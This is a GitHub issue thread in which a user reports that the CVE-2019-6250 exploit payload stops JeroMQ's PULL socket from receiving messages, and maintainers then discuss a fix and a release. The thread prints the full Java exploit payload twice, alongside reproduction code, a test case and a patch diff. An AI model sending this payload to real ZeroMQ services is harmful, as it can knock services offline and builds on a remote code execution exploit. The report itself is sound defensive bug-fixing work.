CVE-2019-6250 exploit stops the puller io thread from receiving more messages

[rajeshnair]

Background

We have a fairly large usage of JeroMQ and we noticed that in certain deployments, the JeroMQ puller stops receiving messages.
This issue seems similiar to what others have reported here and here, except that we hit this issue with PULL

One noticeable thing we found was that the deployments where we hit this issue had Security vulnerability scanner like Tenable or nessus deployed.

On deeper inspection, we have found at least one way to replicate this problem. But we believe there might be more.
This is through the exploit given in zeromq/libzmq#3351
CVE-2019-6250 impacts libczmq version < 4.3.3 with a remote code execution vulnerability

JeroMQ is not impacted by the Remote Code execution but when the exploit payload hits an existing Puller port, it crashes the Io thread causing it to stop processing more messages.

Our assumption is the security vulnerability tools are hitting with this payload since CVE-2019-6250 is a well known vulnerability.

Steps to reproduce

1. Run a simple Puller which binds to port 6667 and listens indefinitely for messages

import org.zeromq.ZContext;
import org.zeromq.ZMQ;
import org.zeromq.SocketType;

public class Puller {
  public static void main(String[] args) {
    String port = args[0];
    System.out.println(">>> Starting to listen at port " + port);

    ZContext ctx = new ZContext(1);
    System.out.println(">>> Context created");
    ZMQ.Socket puller = ctx.createSocket(SocketType.PULL);
    puller.setLinger(0);
    puller.setSendBufferSize(1024*1024);
    puller.setHWM(0);
    puller.setDelayAttachOnConnect(false);

    System.out.println(">>> puller socket created");
    puller.bind("tcp://127.0.0.1:" + port);

    System.out.println(">>> puller socket binded to  tcp://127.0.0.1:" + port);
    while (!Thread.currentThread().isInterrupted()) {
      byte[] bytes = puller.recv();
      System.out.println(">>> puller received something");
      System.out.println(new String(bytes));
    }

    puller.close();
    ctx.close();
  }
}

2. Run a simple Pusher which connects to 6667 port and pushes 3 messages

import org.zeromq.*;

public class Pusher {
    public static void main(String[] args) {
        System.out.println(">>> Starting");
        ZContext ctx = new ZContext(1);
        System.out.println(">>> Context created");

        ZMQ.Socket pusher = ctx.createSocket(SocketType.PUSH);
        pusher.setLinger(0);
        pusher.setSendBufferSize(1024 * 1024);
        pusher.setHWM(0);
        pusher.setDelayAttachOnConnect(false);
        System.out.println(">>> pusher socket created");
        pusher.connect("tcp://127.0.0.1:6667");
        System.out.println(">>> pusher socket connected to tcp://127.0.0.1:6667");

        for (int i = 0; i < 3; i++) {
            try {
                pusher.send("PING");
                System.out.println(">>> pusher sent data on wire : ");
                Thread.sleep(1000);
            } catch (Exception e) {
                break;
            }
        }

        pusher.close();
        ctx.close();
    }
}

3. Either use the exploit program in Remote code execution vulnerability libzmq#3351 (comment) or use the below java port of it

    public void writeExploitPayload(int port) throws IOException {
        byte[] greeting = {
                (byte) 0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
                0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
                0x01, // Selects ZMTP_2_0 handshake selection
                0x00  // Padding
        };
        byte[] v2msg = {
                0x02, // Eight Byte Size
                (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF,
                (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF  // Oversized frame length
        };
        byte[] prePayload = new byte[8183];

        ByteBuffer contentTReplacement = ByteBuffer.allocate(32);
        contentTReplacement.putLong(0, (long) System.identityHashCode(new byte[8]));
        contentTReplacement.putLong(16, (long) System.identityHashCode("ping google.com".getBytes()));
        contentTReplacement.putLong(24, 0L);

        // Total size of all components
        int totalSize = greeting.length + v2msg.length + prePayload.length + contentTReplacement.capacity();
        ByteBuffer bSend = ByteBuffer.allocate(totalSize);

        // Combine all byte arrays into the buffer
        bSend.put(greeting);
        bSend.put(v2msg);
        bSend.put(prePayload);
        bSend.put(contentTReplacement.array());

        java.net.Socket pushSocket = new java.net.Socket("localhost", port);
        OutputStream push = pushSocket.getOutputStream();
        push.write(bSend.array());
        push.flush();
    }

4. Once you run the exploit on the same port, you will notice the following stack trace on Puller and you will notice that it no longer processes the messages sent by the Pusher

java.lang.NegativeArraySizeException: -1
        at zmq.Msg.<init>(Msg.java:124)
        at zmq.msg.MsgAllocatorHeap.allocate(MsgAllocatorHeap.java:10)
        at zmq.msg.MsgAllocatorThreshold.allocate(MsgAllocatorThreshold.java:30)
        at zmq.io.coder.Decoder.allocate(Decoder.java:102)
        at zmq.io.coder.v2.V2Decoder.allocate(V2Decoder.java:30)
        at zmq.io.coder.Decoder.sizeReady(Decoder.java:95)
        at zmq.io.coder.v2.V2Decoder.eightByteSizeReady(V2Decoder.java:55)
        at zmq.io.coder.Decoder$EightByteSizeReady.apply(Decoder.java:44)
        at zmq.io.coder.DecoderBase.decode(DecoderBase.java:113)
        at zmq.io.StreamEngine.inEvent(StreamEngine.java:425)
        at zmq.io.IOObject.inEvent(IOObject.java:85)
        at zmq.poll.Poller.run(Poller.java:273)
        at java.base/java.lang.Thread.run(Thread.java:834)

Bug screencast

Simpler JeroMQ testcase

I tried to write this up in a testcase but it blocks indefinitely. With the fix, the testcase passes.

    @Test
    public void testByteBufferZMQExploitPayload() throws IOException
    {
        int port = Utils.findOpenPort();
        ZMQ.Context context = new ZMQ.Context(1);

        ZMQ.Socket push = null;
        ZMQ.Socket pull = null;
        ByteBuffer bb = ByteBuffer.allocate(4).order(ByteOrder.nativeOrder());
        try {
            push = context.socket(SocketType.PUSH);
            pull = context.socket(SocketType.PULL);
            pull.bind("tcp://*:" + port);
            push.connect("tcp://localhost:" + port);

            bb.put("PING".getBytes(ZMQ.CHARSET));
            bb.flip();

            Thread.sleep(1000);
            push.sendByteBuffer(bb, 0);
            String actual = new String(pull.recv(), ZMQ.CHARSET);
            assertEquals("PING", actual);

            writeExploitPayload(port);

            bb.put("PONG".getBytes(ZMQ.CHARSET));
            bb.flip();
            push.sendByteBuffer(bb, 0);
            String newMsg = new String(pull.recv(), ZMQ.CHARSET);
            assertEquals("PONG", newMsg);

        } catch (Exception e) {
            e.printStackTrace();
            Assert.fail();
        } finally {
            try {
                push.close();
            } catch (Exception ignore) {
                ignore.printStackTrace();
            }
            try {
                pull.close();
            } catch (Exception ignore) {
                ignore.printStackTrace();
            }
            try {
                context.term();
            } catch (Exception ignore) {
                ignore.printStackTrace();
            }
        }
    }

    public void writeExploitPayload(int port) throws IOException {
        byte[] greeting = {
                (byte) 0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
                0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
                0x01, // Selects ZMTP_2_0 handshake selection
                0x00  // Padding
        };
        byte[] v2msg = {
                0x02, // Eight Byte Size
                (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF,
                (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF  // Oversized frame length
        };
        byte[] prePayload = new byte[8183];

        ByteBuffer contentTReplacement = ByteBuffer.allocate(32);
        contentTReplacement.putLong(0, (long) System.identityHashCode(new byte[8]));
        contentTReplacement.putLong(16, (long) System.identityHashCode("ping google.com".getBytes()));
        contentTReplacement.putLong(24, 0L);

        // Total size of all components
        int totalSize = greeting.length + v2msg.length + prePayload.length + contentTReplacement.capacity();
        ByteBuffer bSend = ByteBuffer.allocate(totalSize);

        // Combine all byte arrays into the buffer
        bSend.put(greeting);
        bSend.put(v2msg);
        bSend.put(prePayload);
        bSend.put(contentTReplacement.array());

        java.net.Socket pushSocket = new java.net.Socket("localhost", port);
        OutputStream push = pushSocket.getOutputStream();
        push.write(bSend.array());
        push.flush();
    }

Possible fix

The fix could be as simple as this.
This at least fixes this particular testcase.
We may need to add this check at more places.
If folks agree , I can raise a PR

diff --git a/jeromq-core/src/main/java/zmq/io/coder/v2/V2Decoder.java b/jeromq-core/src/main/java/zmq/io/coder/v2/V2Decoder.java
index d508ebb..48bd129 100644
--- a/jeromq-core/src/main/java/zmq/io/coder/v2/V2Decoder.java
+++ b/jeromq-core/src/main/java/zmq/io/coder/v2/V2Decoder.java
@@ -51,6 +51,9 @@ public class V2Decoder extends Decoder
         tmpbuf.position(0);
         tmpbuf.limit(8);
         final long size = Wire.getUInt64(tmpbuf, 0);
+        if ( size < 0 ) {
+            return Step.Result.ERROR;
+        }
 
         Step.Result rc = sizeReady(size);
         if (rc != Step.Result.ERROR) {

[trevorbernard]

@rajeshnair Thank you for the thorough bug report and test case. I would submit a PR with your fix and test case

[rajeshnair]

@trevorbernard

Let me know if you want me to raise the PR.

[trevorbernard]

Yes, please

[rajeshnair]

@trevorbernard

Thanks for the quick turnaround!

Two questions

1. What's the next release in which we could get this fix ?
2. I would want to backport the fix to 0.5.1 . I do not see release branch . Can I go ahead and create one from the tag ?

[trevorbernard]

The next release will be 0.6.0

[rajeshnair]

@trevorbernard

Do you have any timelines for that?
We would want to patch our servers to protect this issue as we cannot ask customers to not use security tools.
Any timeline would help us plan our upgradation path

Also , do I need to raise a PR towards v0.6.0 branch for its inclusion in 0.6.0 release ?

[trevorbernard]

@rajeshnair There is no timeline but @fbacchella and I talked about releasing 0.6.0 soon.

Also , do I need to raise a PR towards v0.6.0 branch for its inclusion in 0.6.0 release ?

No, all releases come from master

[rajeshnair]

@trevorbernard / @fbacchella

Good Morning and wishing you a happy new year!

Do we have any update on when the v0.6.0 would be released with the fix for this issue ?